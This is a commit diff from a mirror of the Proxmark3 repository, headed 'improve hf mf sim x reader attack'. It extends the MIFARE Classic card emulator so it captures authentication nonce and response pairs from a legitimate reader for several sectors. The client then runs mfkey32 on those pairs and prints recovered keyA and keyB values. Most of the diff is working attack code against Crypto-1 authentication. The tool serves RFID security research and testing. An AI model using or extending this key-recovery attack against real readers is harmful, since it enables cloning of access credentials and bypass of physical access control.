mirror of
https://github.com/Proxmark/proxmark3.git
synced 2025-07-16 02:03:00 -07:00
improve hf mf sim x reader attack
can now directly extract multiple keys for multiple sectors
This commit is contained in:
parent
16ea2b8ca3
commit
79dcb9e090
3 changed files with 132 additions and 41 deletions
|
@ -12,6 +12,8 @@
|
|||
#ifndef __BIGBUF_H
|
||||
#define __BIGBUF_H
|
||||
|
||||
#include <stdbool.h> // for bool
|
||||
#include "common.h" // for ramfunc
|
||||
|
||||
#define BIGBUF_SIZE 40000
|
||||
#define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame
|
||||
|
|
|
@ -2307,6 +2307,18 @@ void ReaderMifare(bool first_try)
|
|||
set_tracing(FALSE);
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
uint32_t cuid;
|
||||
uint8_t sector;
|
||||
uint8_t keytype;
|
||||
uint32_t nonce;
|
||||
uint32_t ar;
|
||||
uint32_t nr;
|
||||
uint32_t nonce2;
|
||||
uint32_t ar2;
|
||||
uint32_t nr2;
|
||||
} nonces_t;
|
||||
|
||||
/**
|
||||
*MIFARE 1K simulate.
|
||||
*
|
||||
|
@ -2353,12 +2365,18 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
|
|||
uint8_t rAUTH_NT[] = {0x01, 0x02, 0x03, 0x04};
|
||||
uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00};
|
||||
|
||||
//Here, we collect UID,NT,AR,NR,UID2,NT2,AR2,NR2
|
||||
//Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2
|
||||
// This can be used in a reader-only attack.
|
||||
// (it can also be retrieved via 'hf 14a list', but hey...
|
||||
uint32_t ar_nr_responses[] = {0,0,0,0,0,0,0,0};
|
||||
uint8_t ar_nr_collected = 0;
|
||||
|
||||
//allow collecting up to 4 sets of nonces to allow recovery of 4 keys (2 keyA & 2 keyB)
|
||||
// must be set in multiples of 2 (for 1 keyA and 1 keyB)
|
||||
#define ATTACK_KEY_COUNT 4
|
||||
nonces_t ar_nr_resp[ATTACK_KEY_COUNT];
|
||||
memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp));
|
||||
|
||||
uint8_t ar_nr_collected[ATTACK_KEY_COUNT];
|
||||
memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected));
|
||||
// Authenticate response - nonce
|
||||
uint32_t nonce = bytes_to_num(rAUTH_NT, 4);
|
||||
|
||||
|
@ -2507,15 +2525,34 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
|
|||
uint32_t ar = bytes_to_num(receivedCmd, 4);
|
||||
uint32_t nr = bytes_to_num(&receivedCmd[4], 4);
|
||||
|
||||
//Collect AR/NR
|
||||
if(ar_nr_collected < 2){
|
||||
if(ar_nr_responses[2] != ar)
|
||||
//Collect AR/NR per key/sector
|
||||
if(flags & FLAG_NR_AR_ATTACK) {
|
||||
for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
|
||||
if(cardAUTHKEY > 0 && i < (ATTACK_KEY_COUNT/2) ) {
|
||||
i=ATTACK_KEY_COUNT/2; //keyB skip to keyB
|
||||
} else if (cardAUTHKEY == 0 && i == ATTACK_KEY_COUNT/2) {
|
||||
break; //should not get here - quit
|
||||
}
|
||||
// if first auth for sector, or matches sector of previous auth
|
||||
if ( ar_nr_collected[i]==0 || (cardAUTHSC == ar_nr_resp[i].sector && ar_nr_collected[i] > 0) ) {
|
||||
if(ar_nr_collected[i] < 2) {
|
||||
if(ar_nr_resp[ar_nr_collected[i]].ar != ar)
|
||||
{// Avoid duplicates... probably not necessary, ar should vary.
|
||||
ar_nr_responses[ar_nr_collected*4] = cuid;
|
||||
ar_nr_responses[ar_nr_collected*4+1] = nonce;
|
||||
ar_nr_responses[ar_nr_collected*4+2] = ar;
|
||||
ar_nr_responses[ar_nr_collected*4+3] = nr;
|
||||
ar_nr_collected++;
|
||||
if (ar_nr_collected[i]==0) {
|
||||
ar_nr_resp[i].cuid = cuid;
|
||||
ar_nr_resp[i].sector = cardAUTHSC;
|
||||
ar_nr_resp[i].nonce = nonce;
|
||||
ar_nr_resp[i].ar = ar;
|
||||
ar_nr_resp[i].nr = nr;
|
||||
} else {
|
||||
ar_nr_resp[i].ar2 = ar;
|
||||
ar_nr_resp[i].nr2 = nr;
|
||||
}
|
||||
ar_nr_collected[i]++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -2537,6 +2574,7 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
|
|||
break;
|
||||
}
|
||||
|
||||
//auth successful
|
||||
ans = prng_successor(nonce, 96) ^ crypto1_word(pcs, 0, 0);
|
||||
|
||||
num_to_bytes(ans, 4, rAUTH_AT);
|
||||
|
@ -2780,38 +2818,30 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
|
|||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
LEDsoff();
|
||||
|
||||
if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
|
||||
if(flags & FLAG_NR_AR_ATTACK && MF_DBGLEVEL >= 1)
|
||||
{
|
||||
//May just aswell send the collected ar_nr in the response aswell
|
||||
cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_responses,ar_nr_collected*4*4);
|
||||
}
|
||||
|
||||
if(flags & FLAG_NR_AR_ATTACK)
|
||||
{
|
||||
if(ar_nr_collected > 1) {
|
||||
Dbprintf("Collected two pairs of AR/NR which can be used to extract keys from reader:");
|
||||
for ( uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
|
||||
if (ar_nr_collected[i] == 2) {
|
||||
Dbprintf("Collected two pairs of AR/NR which can be used to extract %s from reader for sector %d:", (i<ATTACK_KEY_COUNT/2) ? "keyA" : "keyB", ar_nr_resp[i].sector);
|
||||
Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
|
||||
ar_nr_responses[0], // UID
|
||||
ar_nr_responses[1], //NT
|
||||
ar_nr_responses[2], //AR1
|
||||
ar_nr_responses[3], //NR1
|
||||
ar_nr_responses[6], //AR2
|
||||
ar_nr_responses[7] //NR2
|
||||
);
|
||||
} else {
|
||||
Dbprintf("Failed to obtain two AR/NR pairs!");
|
||||
if(ar_nr_collected >0) {
|
||||
Dbprintf("Only got these: UID=%08x, nonce=%08x, AR1=%08x, NR1=%08x",
|
||||
ar_nr_responses[0], // UID
|
||||
ar_nr_responses[1], //NT
|
||||
ar_nr_responses[2], //AR1
|
||||
ar_nr_responses[3] //NR1
|
||||
ar_nr_resp[i].cuid, //UID
|
||||
ar_nr_resp[i].nonce, //NT
|
||||
ar_nr_resp[i].ar, //AR1
|
||||
ar_nr_resp[i].nr, //NR1
|
||||
ar_nr_resp[i].ar2, //AR2
|
||||
ar_nr_resp[i].nr2 //NR2
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (MF_DBGLEVEL >= 1) Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", tracing, BigBuf_get_traceLen());
|
||||
|
||||
if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
|
||||
{
|
||||
//May just aswell send the collected ar_nr in the response aswell
|
||||
cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_resp,sizeof(ar_nr_resp));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -9,6 +9,7 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "cmdhfmf.h"
|
||||
#include "./nonce2key/nonce2key.h"
|
||||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
|
@ -28,7 +29,7 @@ int CmdHF14AMifare(const char *Cmd)
|
|||
printf("-------------------------------------------------------------------------\n");
|
||||
|
||||
|
||||
start:
|
||||
start:
|
||||
clearCommandBuffer();
|
||||
SendCommand(&c);
|
||||
|
||||
|
@ -1079,6 +1080,64 @@ int CmdHF14AMf1kSim(const char *Cmd)
|
|||
//We're waiting only 1.5 s at a time, otherwise we get the
|
||||
// annoying message about "Waiting for a response... "
|
||||
}
|
||||
//got a response
|
||||
if (flags & FLAG_NR_AR_ATTACK) {
|
||||
typedef struct {
|
||||
uint32_t cuid;
|
||||
uint8_t sector;
|
||||
uint8_t keytype;
|
||||
uint32_t nonce;
|
||||
uint32_t ar;
|
||||
uint32_t nr;
|
||||
uint32_t nonce2;
|
||||
uint32_t ar2;
|
||||
uint32_t nr2;
|
||||
} nonces_t;
|
||||
nonces_t ar_resp[4];
|
||||
//uint32_t ar_responses[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
|
||||
uint64_t key = 0;
|
||||
//uint64_t keyB = 0;
|
||||
//uint8_t arnr_len = 8;
|
||||
memcpy (ar_resp, resp.d.asBytes, sizeof(ar_resp));
|
||||
|
||||
for (uint8_t i = 0; i<4; i++) {
|
||||
if (ar_resp[i].ar2 > 0) {
|
||||
key = mfkey32(ar_resp[i].cuid,ar_resp[i].nonce,ar_resp[i].ar,ar_resp[i].nr,ar_resp[i].ar2,ar_resp[i].nr2);
|
||||
if (key>0) {
|
||||
PrintAndLog("\nFound Key%s for sector %d: [%04x%08x]", (i<2) ? "A" : "B", ar_resp[i].sector, (uint32_t) (key>>32), (uint32_t) (key &0xFFFFFFFF));
|
||||
//set emulator memory for key
|
||||
}
|
||||
}
|
||||
}
|
||||
/*
|
||||
if (ar_resp[1] && ar_responses[2] && ar_responses[3] && ar_responses[6] && ar_responses[7]) {
|
||||
keyA = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2],ar_responses[3],ar_responses[6],ar_responses[7]);
|
||||
if (keyA>0) {
|
||||
PrintAndLog("\nFound KeyA: [%04x%08x]\n\n", (uint32_t) (keyA>>32), (uint32_t) (keyA &0xFFFFFFFF));
|
||||
//set emulator memory for key
|
||||
} else {
|
||||
keyA = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2],ar_responses[3],ar_responses[6],ar_responses[7]);
|
||||
if (keyA>0) {
|
||||
PrintAndLog("\nFound KeyA: [%04x%08x]\n\n", (uint32_t) (keyA>>32), (uint32_t) (keyA &0xFFFFFFFF));
|
||||
//set emulator memory for key
|
||||
}
|
||||
}
|
||||
} else {
|
||||
PrintAndLog("keyA response error: %d %d %d %d %d",ar_responses[1] , ar_responses[2] , ar_responses[3] , ar_responses[6] , ar_responses[7]);
|
||||
}
|
||||
if (ar_responses[1] && ar_responses[2+arnr_len] && ar_responses[3+arnr_len] && ar_responses[6+arnr_len] && ar_responses[7+arnr_len]) {
|
||||
keyB = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2+arnr_len],ar_responses[3+arnr_len],ar_responses[6+arnr_len],ar_responses[7+arnr_len]);
|
||||
if (keyB>0) {
|
||||
PrintAndLog("\nFound KeyB: [%04x%08x]\n\n", (uint32_t) (keyB>>32), (uint32_t) (keyB & 0xFFFFFFFF));
|
||||
//set emulator memory for key
|
||||
}
|
||||
}
|
||||
if (keyA || keyB) {
|
||||
//TODO retry sim with new keys in emulator memory? (somehow flag to check that to see if new key has successful auth now?)
|
||||
// to validate key is correct
|
||||
}
|
||||
*/
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue